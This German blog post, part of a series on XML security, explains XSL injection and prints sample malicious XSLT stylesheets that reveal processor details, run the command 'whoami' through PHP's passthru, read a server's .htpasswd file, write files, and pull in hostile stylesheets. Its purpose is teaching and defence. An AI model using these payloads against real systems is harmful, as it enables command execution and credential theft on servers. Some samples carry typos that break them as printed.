XML-Sicherheit, Teil 4: XSL Injection, zum ersten
Werden XML-Daten vor der Verarbeitung nicht geprüft, kann ein Angreifer darüber eigenen XML-Code einschleusten. Meist kommt es dann zu den schon vorgestellten XML External Entity (XXE) Angriffen. Die stehen auf Platz 4 der aktuellen OWASP Top 10. Aber auch XML Injection ist in den OWASP Top 10 enthalten, jedenfalls indirekt: Auf Platz 1 steht allgemein die Top 10-2017 A1-Injection.
Worum es bei XXE-Angriffen generell geht haben Sie bereits im ersten Teil erfahren, in dem ich Ihnen auch einige Beispiele für XXE-Schwachstellen vorgestellt habe. Und mit XXE-Schwachstellen ging es auch im zweiten Teil weiter, z.B. bei Facebook und Google. Und auch einen dritten Teil zu XXE-Angriffen gab es noch, mit weiteren Schwachstellen und den möglichen Schutzmaßnahmen.
Ab dieser Folge geht es um weitere Angriffe auf bzw. über XML. Zuerst um
Angriffe auf Extensible Stylesheet Language Transformations (XSLT)
Ein weiterer Angriff über XML Injection erfolgt über XSLT (Extensible Stylesheet Language Transformations) und richtet sich gegen den XSLT-Prozessor sowie ggf. Schwachstellen darin. Man kann dann auch von XSL Injection sprechen.
Über präparierte XSLT-Dateien können verschiedene Angriffe durchgeführt werden.
Informationen ausspähen
Folgende XSLT-Datei verrät die Version des XSLT-Prozessors sowie dessen Hersteller samt URL zur Website:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value -of select="system-property(’xsl:version ’)" />
Hersteller: <xsl:value -of select="system-property(’xsl:vendor ’)" />
Herst.-URL: <xsl:value-of select="system-property(’xsl:vendor-url’)" />
</xsl:template>
</xsl:stylesheet>
Wenn Sie jetzt denken "Was soll's, so schlimm ist das ja nicht!" haben Sie nur zum Teil recht. In der Tat sind das keine streng geheimen Informationen, aber trotzdem sind sie für den Angreifer nützlich: Wenn er weiß, mit welchem XSLT-Prozessor er es zu tun hat, kann er ihn gezielt Angreifen und dessen individuelle Features missbrauchen oder möglicherweise vorhandene Schwachstellen ausnutzen. Zu den Schwachstellen komme ich in der nächsten Folge, ein gefährliches Feature folgt sogleich:
Code ausführen
Einige XSLT-Prozessoren erlauben auch
das Ausführen von Code,
der direkt in der XSL-Datei steht. Dazu gehört auch PHP, wenn
registerPHPFunctions
aktiviert ist. Dann würde die
folgende XSLT-Datei den Befehl whoami
ausführen:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('passthru','whoami')"/>
</xsl:template>
</xsl:stylesheet>
Das Ausführen von Code ist allerdings ein zusätzliches Feature der Prozessoren und nicht Bestandteil der XSLT-Spezifikation des W3C.
Dateien lesen...
Auch das
Lesen
lokaler Dateien ist möglich. Die folgende Datei liest die
.htpasswd
-Datei und gibt, da sie nicht wohlgeformt ist, die
erste Zeile und eine Fehlermeldung aus:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:sylesheet version=1.0 xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document(’.htpasswd’)"/>
</xsl:template>
</xsl:stylesheet>
Eine wohlgeformte XML-Datei würde komplett ausgegeben.
... und schreiben
Auch das Schreiben von Dateien ist möglich. Dafür wird die in XSLT 2.0
spezifizierte Funktion
<xsl:result-document>
verwendet:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:result-document href="test.html">
<b><xsl:text>Das ist alles nur ein Test...</xsl:text></b>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>
DoS-Angriffe und Stylesheets einbinden
Auch DoS-Angriffe, zum Beispiel durch ressourcenfressende Aktionen in einer
for-each
-Schleife, sind
möglich.
Außerdem
können über die Funktionen <xsl:include>
und
<xsl:import>
Daten aus anderen Stylesheets in das
aktuelle Stylesheet importiert werden. Damit lassen sich z.B.
bösartige XSLT-Daten nachladen und ausführen.
In der nächsten Folge geht es um Schwachstellen in den XSLT-Prozessoren und Angriffe darauf bzw. darüber,
Kategorien: Grundlagen
Trackbacks
Dipl.-Inform. Carsten Eilers am : XML-Sicherheit, Teil 5: XSL Injection, zum zweiten
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : XML-Sicherheit, Teil 6: XPath Injection
Vorschau anzeigen